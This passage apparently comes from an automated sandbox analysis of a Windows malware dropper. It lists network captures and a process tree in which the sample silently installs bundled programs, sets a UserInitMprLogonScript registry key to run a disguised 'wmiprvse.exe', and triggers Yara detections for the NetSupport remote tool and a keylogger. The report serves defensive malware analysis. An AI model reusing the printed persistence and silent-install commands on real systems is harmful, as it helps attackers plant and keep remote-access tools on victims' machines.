2023-12-06 13:52:58 UTC	165	OUT	Data Raw: 71 74 3d 34 33 30 38 35 30 30 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 62 65 63 37 39 35 31 35 63 31 65 63 35 32 35 66 38 38 35 38 62 66 26 61 76 3d 31 2e 30 2e 30 26 63 69 64 3d 30 46 45 30 35 35 46 32 42 35 35 33 42 34 46 36 33 31 39 36 39 39 33 43 41 46 42 39 32 44 36 31 38 43 38 32 33 42 46 45 26 73 69 64 3d 25 37 42 43 34 39 46 44 35 39 39 2d 31 44 32 36 2d 34 32 31 46 2d 41 31 46 36 2d 41 45 36 32 41 33 32 31 46 46 31 46 25 37 44 Data Ascii: qt=4308500&t=lifecycle&lc=start&v=3&aid=57bec79515c1ec525f8858bf&av=1.0.0&cid=0FE055F2B553B4F63196993CAFB92D618C823BFE&sid=%7BC49FD599-1D26-421F-A1F6-AE62A321FF1F%7D
2023-12-06 13:52:58 UTC	638	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 3d 22 73 65 74 2d 63 6f 6f 6b 69 65 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 32 3a 35 38 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 57 53 45 4c 42 3d 32 39 33 39 39 33 36 46 31 30 32 37 30 44 31 43 43 39 38 32 31 39 36 34 39 39 31 34 30 33 44 38 45 42 33 36 33 44 36 33 44 45 Data Ascii: HTTP/1.1 402 Payment RequiredCache-control: no-cache="set-cookie"Content-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:52:58 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"Set-Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DE
2023-12-06 13:52:58 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50182	54.165.145.62	443	3196	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:58 UTC	547	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 165 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D5D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E; AWSELBCORS=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D5D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E
2023-12-06 13:52:58 UTC	165	OUT	Data Raw: 71 74 3d 34 33 30 39 31 38 37 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 61 64 66 35 66 33 34 38 32 62 39 61 35 30 33 65 32 62 65 64 32 62 26 61 76 3d 35 2e 30 2e 33 26 63 69 64 3d 30 46 45 30 35 35 46 32 42 35 35 33 42 34 46 36 33 31 39 36 39 39 33 43 41 46 42 39 32 44 36 31 38 43 38 32 33 42 46 45 26 73 69 64 3d 25 37 42 30 45 31 33 42 39 30 30 2d 30 39 46 43 2d 34 44 45 33 2d 41 42 30 37 2d 46 42 35 44 34 45 34 33 36 46 45 36 25 37 44 Data Ascii: qt=4309187&t=lifecycle&lc=start&v=3&aid=57adf5f3482b9a503e2bed2b&av=5.0.3&cid=0FE055F2B553B4F63196993CAFB92D618C823BFE&sid=%7B0E13B900-09FC-4DE3-AB07-FB5D4E436FE6%7D
2023-12-06 13:52:58 UTC	219	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 32 3a 35 38 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 402 Payment RequiredContent-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:52:58 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"X-Powered-By: ExpressContent-Length: 2Connection: Close
2023-12-06 13:52:58 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	50208	54.165.145.62	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:53:11 UTC	241	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 164 Cache-Control: no-cache
2023-12-06 13:53:11 UTC	164	OUT	Data Raw: 71 74 3d 33 35 32 30 30 30 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 61 64 66 35 66 33 34 38 32 62 39 61 35 30 33 65 32 62 65 64 32 62 26 61 76 3d 35 2e 30 2e 33 26 63 69 64 3d 30 46 45 30 35 35 46 32 42 35 35 33 42 34 46 36 33 31 39 36 39 39 33 43 41 46 42 39 32 44 36 31 38 43 38 32 33 42 46 45 26 73 69 64 3d 25 37 42 30 46 36 44 45 41 30 34 2d 36 34 39 39 2d 34 46 32 32 2d 42 33 46 43 2d 31 42 31 35 32 41 42 31 38 38 31 31 25 37 44 Data Ascii: qt=352000&t=lifecycle&lc=start&v=3&aid=57adf5f3482b9a503e2bed2b&av=5.0.3&cid=0FE055F2B553B4F63196993CAFB92D618C823BFE&sid=%7B0F6DEA04-6499-4F22-B3FC-1B152AB18811%7D
2023-12-06 13:53:12 UTC	638	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 3d 22 73 65 74 2d 63 6f 6f 6b 69 65 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 33 3a 31 31 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 57 53 45 4c 42 3d 32 39 33 39 39 33 36 46 31 30 32 37 30 44 31 43 43 39 38 32 31 39 36 34 39 39 31 34 30 33 44 38 45 42 33 36 33 44 36 33 44 45 Data Ascii: HTTP/1.1 402 Payment RequiredCache-control: no-cache="set-cookie"Content-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:53:11 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"Set-Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DE
2023-12-06 13:53:12 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	50213	54.165.145.62	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:53:14 UTC	547	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 164 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D5D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E; AWSELBCORS=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D5D656C9DA50AE59FEBEDA15106E5CAD558E0D4A27909ADF5545C2768DD9F758E
2023-12-06 13:53:14 UTC	164	OUT	Data Raw: 71 74 3d 33 35 34 35 30 30 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 35 37 61 64 66 35 66 33 34 38 32 62 39 61 35 30 33 65 32 62 65 64 32 62 26 61 76 3d 35 2e 30 2e 34 26 63 69 64 3d 30 46 45 30 35 35 46 32 42 35 35 33 42 34 46 36 33 31 39 36 39 39 33 43 41 46 42 39 32 44 36 31 38 43 38 32 33 42 46 45 26 73 69 64 3d 25 37 42 45 45 30 31 37 46 38 44 2d 32 33 43 32 2d 34 31 35 46 2d 42 39 31 43 2d 36 32 33 45 45 35 32 45 44 39 45 38 25 37 44 Data Ascii: qt=354500&t=lifecycle&lc=start&v=3&aid=57adf5f3482b9a503e2bed2b&av=5.0.4&cid=0FE055F2B553B4F63196993CAFB92D618C823BFE&sid=%7BEE017F8D-23C2-415F-B91C-623EE52ED9E8%7D
2023-12-06 13:53:14 UTC	219	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 33 3a 31 34 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 402 Payment RequiredContent-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:53:14 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"X-Powered-By: ExpressContent-Length: 2Connection: Close
2023-12-06 13:53:14 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Target ID:	0
Start time:	14:50:41
Start date:	06/12/2023
Path:	C:\Users\user\Desktop\ZmWSzgevgt.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\ZmWSzgevgt.exe
Imagebase:	0x400000
File size:	1'671'954 bytes
MD5 hash:	2DEAF2BE4672BF6457E136D78A7A3940
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:50:42
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp" /SL5="$10450,832512,832512,C:\Users\user\Desktop\ZmWSzgevgt.exe"
Imagebase:	0x400000
File size:	3'199'488 bytes
MD5 hash:	BE0E74DC6AC70C5B8CC74C42B6999A70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:50:52
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe
Imagebase:	0x400000
File size:	5'135'220 bytes
MD5 hash:	ACA06319EC01C3DB9FFC2EA4CD8505B2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	14:50:52
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp" /SL5="$104CA,4289520,832512,C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\setup.exe"
Imagebase:	0x400000
File size:	3'199'488 bytes
MD5 hash:	C039C014580F43E5B8162552F3CAF067
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	14:52:05
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598
Imagebase:	0x400000
File size:	11'087'839 bytes
MD5 hash:	5AFE9D5A2BCC39B1E0573A77EFBE82B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:52:05
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp" /SL5="$50222,10235147,832512,C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598
Imagebase:	0x400000
File size:	3'199'488 bytes
MD5 hash:	AD96645518D5ABDD4F96B007E799F61E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:52:08
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c expand C:\Users\user\AppData\Local\Temp\is-J1954.tmp\{app}\aglwjhm.cab -F:* %ProgramData%
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:52:08
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:52:08
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\expand.exe
Wow64 process (32bit):	true
Commandline:	expand C:\Users\user\AppData\Local\Temp\is-J1954.tmp\{app}\aglwjhm.cab -F:* C:\ProgramData
Imagebase:	0x50000
File size:	53'248 bytes
MD5 hash:	544B0DBFF3F393BCE8BB9D815F532D51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:52:09
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\wmiprvse.exe" /f
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:52:09
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:52:09
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f
Imagebase:	0x280000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:52:09
Start date:	06/12/2023
Path:	C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe
Imagebase:	0x3e0000
File size:	120'232 bytes
MD5 hash:	261D6E9D4571D1938CB54A2AE1B1821D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000F.00000002.3928353533.00000000111E2000.00000004.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000F.00000000.2909427873.00000000003E2000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000F.00000002.3910783997.00000000003E2000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	14:52:09
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:52:10
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:52:10
Start date:	06/12/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:52:12
Start date:	06/12/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1888,i,7072999325873136118,17384098712178890255,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:52:15
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe" /qn CAMPAIGN="2598
Imagebase:	0xb10000
File size:	4'724'720 bytes
MD5 hash:	FA24733F5A6A6F44D0E65D7D98B84AA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:52:17
Start date:	06/12/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6ae790000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	14:52:19
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 422D03AD2CDBB69F557E245BAEF1ACF7 C
Imagebase:	0x4f0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:52:24
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" /qn CAMPAIGN=2598 AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701870439 /qn CAMPAIGN=""2598"" " CAMPAIGN="2598
Imagebase:	0x4f0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:52:25
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 6BF05F187B53BFBF47C225A377385DB6
Imagebase:	0x4f0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:52:26
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Imagebase:	0x2d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	14:52:26
Start date:	06/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:52:30
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding BC9F21BCEFC691B566B836C637BCC195 E Global\MSI0000
Imagebase:	0x4f0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:52:31
Start date:	06/12/2023
Path:	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe" /silentall -nofreqcheck -nogui
Imagebase:	0x570000
File size:	1'026'936 bytes
MD5 hash:	F95007206C6B2407FB69748EF7C93612
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:52:34
Start date:	06/12/2023
Path:	C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" /install silentall "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini
Imagebase:	0x230000
File size:	1'026'936 bytes
MD5 hash:	F95007206C6B2407FB69748EF7C93612
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:52:37
Start date:	06/12/2023
Path:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe
Imagebase:	0xd20000
File size:	1'247'744 bytes
MD5 hash:	3372EE41B0B68A033CD0EA3120594E29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 30%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	14:52:38
Start date:	06/12/2023
Path:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe"
Imagebase:	0x7a0000
File size:	3'635'424 bytes
MD5 hash:	8CAD036C5CFED94D5319A060C488E38F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:52:41
Start date:	06/12/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 408DB6826F1036348B5DAAE317AF6166 C
Imagebase:	0x7ff6a5670000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
